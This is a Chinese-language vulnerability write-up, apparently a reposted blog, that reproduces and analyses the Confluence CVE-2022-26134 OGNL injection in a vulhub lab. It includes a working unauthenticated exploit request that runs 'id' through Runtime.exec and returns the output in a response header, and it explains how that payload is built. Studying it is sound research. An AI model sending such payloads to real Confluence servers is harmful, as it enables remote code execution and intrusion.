Atlassian Confluence CVE-2022-26134 RCE漏洞

news2024/11/24 14:14:50

Atlassian Confluence CVE-2022-26134 RCE漏洞

Atlassian Confluence CVE-2022-26134 RCE漏洞
漏洞简介
远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence ServerData Center上执行任意代码.

漏洞影响范围

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1

漏洞危害
漏洞评分9.8,危害等级严重,攻击者可以利用此漏洞执行任意代码,直接获得权限。
调试环境搭建
测试环境confluence版本:7.13.6
在这里插入图片描述
confluence环境搭建
采用vulhub靶场方式进行环境搭建,主要利用docker进行环境配置.
进入漏洞环境对应目录

cd /etc/vulhub/confluence/CVE-2022-26134

在这里插入图片描述
启动docker镜像

docker-compose up

在这里插入图片描述
访问http://ip:8090进行confluence配置
在这里插入图片描述

填入密钥,因为我这里已经注册过了,所以直接填入密钥,没注册过,可以点击Get an evaluation license获取密钥,之后点击next,选择standalone
在这里插入图片描述
接下来的配置如下:点击Test connection测试,显示Success!Database connected successfully之后点击next
在这里插入图片描述
到这儿,confluence的环境基本上已经搭建完毕了,接下来进行网站设置,我选择的是Empty site
在这里插入图片描述
接下来设置用户账号和密码,设置好之后点击next
在这里插入图片描述
配置成功之后点击start即可
在这里插入图片描述
动态调试环境搭建
漏洞环境搭建前期主要搭建动态调试环境,但是一直失败(这里主要记录下动态调试环境搭建过程,待之后再碰到类似的问题,希望能够解决)
动态调试环境搭建,需要在启动docker之前修改docker-compose.yml文件,添加以下内容

"5050:5050"     #这个端口作为调试端口

在这里插入图片描述
修改内容保存之后,正常启动docker,启动之后,需要修改/opt/atlassian/confluence/bin/setenv.sh文件,新增环境变量

docker ps    查看已经开启的docker镜像的相关信息

在这里插入图片描述
执行以下命令进入docker

docker exec -it 85b2add38df7 /bin/bash

要修改目标文件,需要先下载vim或者vi编辑器,执行以下命令进行apt更新以及vim下载

apt update & apt install vim 

编辑器下载之后,修改目标文件,新增以下内容

CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"

在这里插入图片描述
重启Confluence容器docker-compose restart,调试端口就开启了,接下来配置IDEA
在这里插入图片描述
下载并且安装IDEA,具体可以参考:https://blog.csdn.net/JOJO_jiongjiong/article/details/123087307
docker中复制confluence源码和docker中的jdk环境

docker cp 85b2add38df7:/opt/atlassian/confluence/ /home/worker/Desktop/conf   #复制confluence源码
docker cp 85b2add38df7:/opt/java/openjdk /home/worker/Desktop/jdk    #复制docker环境中的JDK环境

使用IDEA打开conf项目,设置项目的JDK环境为从docker环境中复制出来的JDK
在这里插入图片描述
新增远程调试配置
在这里插入图片描述
在这里插入图片描述
之后添加库文件:使用IDEA/confluence/WEB-INF下的atlassian-bundled-plugins、atlassian-bundled-plugins-setup、lib文件拉取为依赖文件。
在这里插入图片描述
之后即可直接调试(这次是成功了的,可以正常动态调试,反思和之前不一样的操作就是在弹出maven下载项的时候点击了确定,可能是这个原因)
漏洞复现
向目标服务器发送如下数据包:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.220.54:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到返回数据:命令执行结果在X-Cmd-Response字段中显示
在这里插入图片描述
payload的构造过程如下:
1:首先构造一个ONGL的表达式

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

2:将构造好的表达式进行URL编码

$%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%id%22).getInputStream(),%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22,%23a))%7D

需要注意一点,在URL编码之后需要在编码之后的payload末尾添加一个/,即最后的payload 应该如下:

$%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%id%22).getInputStream(),%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22,%23a))%7D/

漏洞详细分析
查看补丁点
根据官方通告:<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>
修补补丁关键点在于用新的xwork-1.0.3-atlassian-10.jar替换老的xwork-1.0.3-atlassian-8.jar.对这二者进行补丁对比.对应jar包目录:/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
bindiff确认补丁点
IDEA社区版不支持这个功能,需要下载企业版…(直接进行动态调试)
动态调试
这块因为没有办法直接bindiff直接对比补丁包的修改,入手点参考网上已有的分析报告.主要参考链接在文末给出.
前置背景-WebWork 框架分析
Confluence 使用 WebWork 框架,整个 HTTP 请求逻辑是随着这个框架处理流程来的。整个HTTP请求过程如下
1:客户发起 HTTP 流程访问
2:按照 servlet 规范,先由 filter 进行处理,然后由 WebWork 核心控制器 ServletDispatcher 进行处理
3:WebWork 根据 xwork.xml 配置文件 来处理请求:在配置文件中定义路由对应的拦截器,业务逻辑,业务逻辑响应等部分
4:先依次调用拦截器 (before), 然后再由业务逻辑处理
5:根据业务逻辑返回的响应类型对响应进行渲染
6:依次调用拦截器 (after), 然后将响应输出
在这里插入图片描述
confluenceweb.xml 中引入 WebWork 框架配置
关于Web.xml
一般的web工程中都会用到web.xmlweb.xml主要用来配置,可以方便的开发web工程。web.xml主要用来配置Filter、Listener、Servlet等。但是要说明的是web.xml并不是必须的,一个web工程可以没有web.xml文件。
WEB工程加载顺序与元素节点在文件中的配置顺序无关。即不会因为 filter 写在 listener的前面而会先加载filterWEB容器的加载顺序是:ServletContext -> context-param -> listener -> filter -> servlet。并且这些元素可以配置在文件中的任意位置。
web.xml文件的加载过程:
1:启动一个web项目的时候,web容器会去读取它的配置文件web.xml,读取<listener><context-param>两个结点。
2:紧接着,web容器会创建一个ServletContextservlet上下文),这个web项目的所有部分都将共享这个上下文。
3:容器将<context-param>转换为键值对,并交给servletContext
4:容器创建<listener>中的类实例,创建监听器。
web.xml标签详解
1:<web-app>:是部署描述的根元素
2:<display-name>:定义web应用的名称,Confluence的该键值如下:

<display-name>Confluence</display-name>

3:<disciption>:Web应用描述,Confluence的该标签内容如下:

<description>Confluence Web App</description>

4:<context-param>上下文参数,声明应用范围内的初始化参数。该元素含有一对参数名和参数值,它用于向 ServletContext提供键值对,即应用程序上下文信息.listener, filter等在初始化时会用到这些上下文中的信息。在servlet里面可以通过getServletContext().getInitParameter("context/param")得到。参数名在整个Web应用中必须是唯一的,在web应用的整个生命周期中上下文初始化参数都存在,任意的Servletjsp都可以随时随地访问它
5:<filter>:过滤器,Filter可认为是Servlet的一种“变种”,它主要用于对用户请求(HttpServletRequest)进行预处理,也可以对服务器响应(HttpServletResponse)进行后处理,是个典型的处理链。它与Servlet的区别在于:它不能直接向用户生成响应。完整的流程是:Filter对用户请求进行预处理,接着将请求交给Servlet进行处理并生成响应,最后Filter再对服务器响应进行后处理。
filter有如下几个用处:

在HttpServletRequest到达Servlet之前,拦截客户的HttpServletRequest。
根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据。
在HttpServletResponse到达客户端之前,拦截HttpServletResponse。
根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

创建一个Filter只需要两个步骤:1.创建Filter处理类(如:MyFiletr)实现javax.servlet.Filter接口;2.web.xml中配置Filter,以confluence中的filter配置为例进行详细阐述:

<filter>
        <filter-name>debug-before-request</filter-name>
        <filter-class>com.atlassian.confluence.web.filter.DebugFilter</filter-class>
        <init-param>
            <param-name>phase</param-name>
            <param-value>before</param-value>
        </init-param>
        <init-param>
            <param-name>dispatcher</param-name>
            <param-value>REQUEST</param-value>
        </init-param>
    </filter>

过滤器的名称为debug-before-request,实现的方法为com.atlassian.confluence.web.filter.DebugFilter类,查看具体实现:
在这里插入图片描述
上面的程序实现了doFilter()方法,实现该方法就可以实现对用户请求进行预处理.Filter接口中有一个doFilter方法,当开发人员编写好Filter类实现doFilter方法,并配置对哪个web资源进行拦截后,WEB服务器每次在调用web资源的service方法之前(服务器内部对资源的访问机制决定的),都会先调用一下filterdoFilter方法。关于Filter的相关内容,可以参考:https://www.cnblogs.com/vanl/p/5742501.html
6<listener>:监听器
7<servlet>:用来声明一个servlet的数据,Servlet通常称为服务端小程序,是服务端的程序,用于处理及响应客户的请求。Servlet是一个特殊的Java类,创建Servlet类自动继承HttpServlet。客户端通常只有GETPOST两种请求方式,Servlet为了响应这两种请求,必须重写doGet()doPost()方法。大部分时候,Servlet对于所有的请求响应都是完全一样的,此时只需要重写service()方法即可响应客户端的所有请求。HttpServlet有两个方法
init(ServletConfig config):创建Servlet实例时,调用该方法初始化Servlet资源;
destory():销毁Servlet实例时,自动调用该方法回收资源;
  通常无需重写init()destory()两个方法,除非需要在初始化Servlet时,完成某些资源初始化的方法,才考虑重写init()方法。如果重写了init()方法,应该在重写该方法的第一行调用super.init(config),该方法将调用HttpServletinit()方法。如果需要在销毁Servlet之前,先完先完成某些资源的回收,比如关闭数据库链接,才需要重写destory()方法。
处理流程分析
首先针对Confluence的登录过程进行流程分析,访问/login.action页面,查看产生的调用栈:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SWOOuGpW-1682047212938)(image/image_20_Uh7BaUWIJ4.png)]
根据调用栈可以看到,经过一系列 Filter 处理后,将进入Servlet 的分发器 ServletDispatcher (本质上是其子类 ConfluenceServletDispatcher 对象),在web.xml文件查找ServletDispatcher
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lOrLy3mT-1682047212939)(image/image_21_FYWiN5QP7n.png)]
定位到目标类,查找service方法
在这里插入图片描述
service函数中,分别通过函数 getNameSpace ,getActionName ,getRequestMap,getSessionMap,getApplicationMap 提取相应参数,处理函数和获取结果对应关系如下:

getNameSpace(request) -> namespace
getActionName(request) -> actionName
getRequestMap(request) -> requestMap
getParameterMap(request) -> parameterMap
getSessionMap(request) -> sessionMap
getApplicationMap() -> applicationMap

参数获取完毕之后,执行函数serviceAction

public void serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, Map requestMap, Map parameterMap, Map sessionMap, Map applicationMap) {
        HashMap extraContext = createContextMap(requestMap, parameterMap, sessionMap, applicationMap, request, response, this.getServletConfig());
        extraContext.put("com.opensymphony.xwork.dispatcher.ServletDispatcher", this);

        try {
            ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);
            request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());
            proxy.execute();
        } catch (ConfigurationException var11) {
            log.error("Could not find action", var11);
            this.sendError(request, response, 404, var11);
        } catch (Exception var12) {
            log.error("Could not execute action", var12);
            this.sendError(request, response, 500, var12);
        }

    }

实例化DefaultActionProxy ,执行execute处理函数
在这里插入图片描述
在这里插入图片描述
调用InvokAction,进入 DefaultActionInvocation#invoke
在这里插入图片描述
这里开始调用 Struts Interceptor 拦截器对象对请求进行处理, DefaultActionInvocation 对象拦截器集合 interceptors 一共有 32 个:
在这里插入图片描述
迭代执行拦截器之后,流程来到this.proxy.getExecuteResult,进入发现实际调用的是executeResult
在这里插入图片描述
代码逻辑如下:

private void executeResult() throws Exception {
    this.result = createResult();
    if (this.result != null) {
      this.result.execute(this);
    } else if (!"none".equals(this.resultCode)) {
      LOG.warn("No result defined for action " + getAction().getClass().getName() + " and result " + getResultCode());
    } 
  }

查看result.execute函数执行逻辑

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
      this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
    if (isInChainHistory(finalNamespace, finalActionName))
      throw new XworkException("infinite recursion detected"); 
    addToHistory(finalNamespace, finalActionName);
    HashMap<Object, Object> extraContext = new HashMap<Object, Object>();
    extraContext.put("com.opensymphony.xwork.util.OgnlValueStack.ValueStack", ActionContext.getContext().getValueStack());
    extraContext.put("com.opensymphony.xwork.ActionContext.parameters", ActionContext.getContext().getParameters());
    extraContext.put("com.opensymphony.xwork.interceptor.component.ComponentManager", ActionContext.getContext().get("com.opensymphony.xwork.interceptor.component.ComponentManager"));
    extraContext.put("CHAIN_HISTORY", ActionContext.getContext().get("CHAIN_HISTORY"));
    if (log.isDebugEnabled())
      log.debug("Chaining to action " + finalActionName); 
    this.proxy = ActionProxyFactory.getFactory().createActionProxy(finalNamespace, finalActionName, extraContext);
    this.proxy.execute();
  }

提取 namespace 参数,并调用 translateVariables 函数,进入查看函数处理流程:
在这里插入图片描述
调用findvalue函数,通过前边的分析过程可知, namespace 参数通过 ServletDispatcher#getNameSpace 函数获取,查看函数定义:

protected String getNameSpace(HttpServletRequest request) {
        String servletPath = request.getServletPath();
        return getNamespaceFromServletPath(servletPath);
    }
    
public static String getNamespaceFromServletPath(String servletPath) {
        servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
        return servletPath;
    }    

根据上述代码逻辑,不难得出这样的结论: namespace 取值为请求 servletPath 最后一个 / 之前的部分,这其实也是我们的POC末尾为什么一定要加一个/的原因。同时需要注意,匹配的正则表达式如下:

\$\{([^}]*)\}

这样构造POC就容易很多,甚至可以在这里直接修改namespace参数满足这个正则表达式:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1szeskRu-1682047212944)在这里插入图片描述
沙箱绕过与命令执行

从v7.15系列开始,ConfluenceOGNL表达式解析时加入了沙箱设置:处理逻辑如下:新增了isSafeExpression判断逻辑

public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))
        expr = (String)this.overrides.get(expr); 
      if (this.defaultType != null)
        return findValue(expr, this.defaultType); 
      return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
    } catch (OgnlException e) {
      return null;
    } catch (Exception e) {
      LOG.warn("Caught an exception while evaluating expression '" + expr + "' against value stack", e);
      return null;
    } 
  }

查看isSafeExpression处理逻辑

 public boolean isSafeExpression(String expression) {
    return isSafeExpressionInternal(expression, new HashSet<>());
  }

private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
    if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
      if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression))
        return false; 
      if (isUnSafeClass(expression)) {
        this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
        return false;
      } 
      if (SourceVersion.isName(trimQuotes(expression)) && this.allowedClassNames.contains(trimQuotes(expression))) {
        this.SAFE_EXPRESSIONS_CACHE.add(expression);
      } else {
        try {
          Object parsedExpression = OgnlUtil.compile(expression);
          if (parsedExpression instanceof Node)
            if (containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
              this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
              log.debug(String.format("Unsafe clause found in [\" %s \"]", new Object[] { expression }));
            } else {
              this.SAFE_EXPRESSIONS_CACHE.add(expression);
            }  
        } catch (OgnlException|RuntimeException ex) {
          this.SAFE_EXPRESSIONS_CACHE.add(expression);
          log.debug("Cannot verify safety of OGNL expression", ex);
        } 
      } 
    } 
    return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
  }

这里后续没有动态调试,可以查看参考链接中的部分内容

参考链接
https://paper.seebug.org/1912/
https://www.cnblogs.com/vanl/p/5742501.html
https://www.cnblogs.com/vanl/p/5737656.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/448215.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码优化- 基本概念

思考一个问题&#xff1a;我们可以再抽象语法树上做编译优化吗&#xff1f; 答案是否定的&#xff0c;如果在抽象语法树上做编译优化的话&#xff0c;程序员所写的可能包含错误的代码&#xff0c;可能就被删除了&#xff0c;比如&#xff0c;对下面的程序做不可达代码删除优化…

Hadoop笔记整理

Hadoop 一. 引言 1.1 什么是大数据 大数据:(Big Data):数据量级很大的应用处理。TB级 &#xff0c;日数据增长GB级 K -- M---- G ---- T ----PB ---- EB ---ZB 1024通过对海量数据进行分析&#xff0c;挖掘&#xff0c;进而发现数据内在的规律&#xff0c;从而为企业或者…

【数据结构】超详细讲解:算术表达式转化为后缀表达式、前缀表达式、表达式树的构建

作者&#xff1a;努力学习的大一在校计算机专业学生&#xff0c;热爱学习和创作。目前在学习和分享&#xff1a;算法、数据结构、Java等相关知识。博主主页&#xff1a; 是瑶瑶子啦所属专栏: 【数据结构】&#xff1a;该专栏专注于数据结构知识&#xff0c;持续更新&#xff0c…

Praat脚本-037 | 批量把标注TextGrid生成韵律文本

目录 引题方案一方案二方案三获取脚本关注版权说明 引题 Praat是一种非常出色、轻便、开源免费的标注工具&#xff0c;它的最主要用途是标注&#xff0c;即对语音信号中的一些特征、信息进行标注&#xff0c;保存为TextGrid文件&#xff0c;这个TextGrid文件实质 上就是一种文…

chatGPT写文章-为什么chatGPT写的文章是原创

用chatGPT写文章会重复吗 ChatGPT在生成文本时会优先从先前的训练数据中学习到的文本中选取片段&#xff0c;并根据先前的内容和上下文来生成新的文本。因此&#xff0c;从理论上来说&#xff0c;在相同的输入条件下&#xff0c;每次使用ChatGPT生成文本都可能会产生不同的输出…

Web前端-Vue2.0框架学习

Web前端-Vue框架学习 1. 前端工程化与Webpack1.1 隔行变色的demo实现1.2 webpack的基本使用1.3 webpac插件1.3.1 webpack-dev-server插件1.3.2 html-webpack-plugin 1.4 webpack中的loader&#xff08;加载器&#xff09;1.4.1 css-loader1.4.2 less-loader1.4.3 url-loader &a…

【动态规划】经典问题第四组,背包问题运用(分割等和子集,最后一块石头的重量 II)

前言 小亭子正在努力的学习编程&#xff0c;接下来将开启算法的学习~~ 分享的文章都是学习的笔记和感悟&#xff0c;如有不妥之处希望大佬们批评指正~~ 同时如果本文对你有帮助的话&#xff0c;烦请收藏点赞关注支持一波, 感激不尽~~ 刷题专栏在这里~~ 深入理解动态规划建议关注…

各省份非金融类对外直接投资存量(2003-2020年)

中国各省份在非金融类对外直接投资方面呈现出不同的趋势和特点。截至2021年底&#xff0c;中国全国非金融类对外直接投资存量达到2.9万亿美元&#xff0c;其中&#xff0c;广东、江苏、山东、北京和上海是投资存量排名前五的省份。这五个省份的非金融类对外直接投资存量占全国总…

想想都脊背一凉,细思极恐,大家提早醒悟

一位程序员说了一件很可怕的事&#xff1a; 辛辛苦苦写了几年代码&#xff0c;做了些业务&#xff0c;在一片祥和中有了点成就感。然而回头一看&#xff0c;80&#xff05;是没啥用的&#xff0c;甚至没法写到简历上&#xff0c;让人脊背一凉&#xff01; 有人说&#xff0c;这…

Linux网桥简介、入门与配置

开始之前先得介绍一下什么是网桥&#xff0c;这里我们假设大家已经知道了物理的交换机是工作在链路层的。交换机的主要任务是在链路层查找转发表&#xff08;mac地址与端口对应关系表&#xff09;&#xff0c;按照数据帧的目标mac地址&#xff0c;转发数据帧到相应的端口。那么…

半导体存储电路

半导体存储电路 SR锁存器和触发器寄存器存储器存储器分类RAMSRAMDRAM ROMMROMPROMEPROMEEPROMFLASH原理发现者应用工作原理存储单元 磁盘硬盘机械硬盘&#xff08;HDD&#xff09;固态硬盘&#xff08;SSD&#xff09; SR锁存器和触发器 SR锁存器用于记忆1位二进制信号&#x…

C语言之二分查找

目录 一、二分查找算法 二、分支语句中应注意的小点 一、二分查找算法 所谓二分查找&#xff0c;就是要在一组有序的数列中&#xff0c;查找给定的数是否在此数列中。 最主要的步骤有三个&#xff1a; 1.确定被查找的范围的左右下标left、right 2.根据left和right&#xff…

工业品6大采购痛点,维度云ERP帮您解决

行业现状 近年来&#xff0c;中国采购市场竞争加剧&#xff0c;市场规模不断扩大&#xff0c;利润总额持续增长&#xff0c;但在整体采购市场环境上升的情况下&#xff0c;企业生产成本上升&#xff0c;产品售价下降&#xff0c;行业利润却持续减少&#xff0c;产品大量过剩&am…

家用洗地机到底好不好用?好用的洗地机分享

洗地机是一种非常实用的清洁设备&#xff0c;它与传统的拖把或清洗粉相比&#xff0c;洗地机能够更全面、更彻底地清洁地面&#xff0c;除去污渍和灰尘之余&#xff0c;还能去除有害物质如细菌、病毒等&#xff0c;保证地面的卫生环境。洗地机的自动清洗和吸污功能能够大幅缩短…

Java文件字符流和字节流中的实战

文件输入输出流 文件内容操作与实战字符流ReaderWriter 字节流inputStreamOutputStream实战&#x1f4aa; 文件内容操作与实战 文件的分类上一篇文章&#xff08;文件对象处理&#xff09;已经和大家讲解过了。本章主要文件主要针对于对文件内容的操作展开讲解&#xff0c;文件…

【golang学习笔记】——(一)安装golang

当前为了方便后续的编译和使用&#xff0c;在windows下进行go的安装。 一、msi安装 官网下载地址&#xff1a;https://golang.google.cn/ 进入Download选择Windows的msi文件下载即可 下载后进行默认或者自定义安装即可&#xff0c;golang无特殊配置&#xff0c;可按照默认安装…

算法篇——二叉树大集合上篇(js版)

222.完全二叉树的节点个数 给你一棵 完全二叉树 的根节点 root &#xff0c;求出该树的节点个数。 完全二叉树 的定义如下&#xff1a;在完全二叉树中&#xff0c;除了最底层节点可能没填满外&#xff0c;其余每层节点数都达到最大值&#xff0c;并且最下面一层的节点都集中在…

AutoGPT的出现,会让程序员失业吗?

最近&#xff0c;一个叫AutoGPT的模型火了&#xff0c;在GitHub上线数周Star数就直线飙升。截至目前&#xff0c;AutoGPT的Star数已经达到87k&#xff0c;马上接近90k&#xff0c;超过了PyTorch的65k。 根据AutoGPT的命名&#xff0c;就可以发现其神奇之处在于“auto”&#x…

从申请到调用:全国快递物流查询 API 使用教程

引言 面对越来越多的快递需求和快递公司的日益增多&#xff0c;手动查询快递状态的工作变得愈发繁琐。此时&#xff0c;一个全国快递物流查询 API 的出现能够极大地提高查询的效率和准确性&#xff0c;解决人工查询的问题&#xff0c;为用户提供更加便捷的服务体验。全国快递物…

ASEMI代理ADG1408YRUZ-REEL7原装ADI车规级ADG1408YRUZ-REEL7

编辑&#xff1a;ll ASEMI代理ADG1408YRUZ-REEL7原装ADI车规级ADG1408YRUZ-REEL7 型号&#xff1a;ADG1408YRUZ-REEL7 品牌&#xff1a;ADI /亚德诺 封装&#xff1a;TSSOP-16 批号&#xff1a;2023 安装类型&#xff1a;表面贴装型 引脚数量&#xff1a;16 类型&#…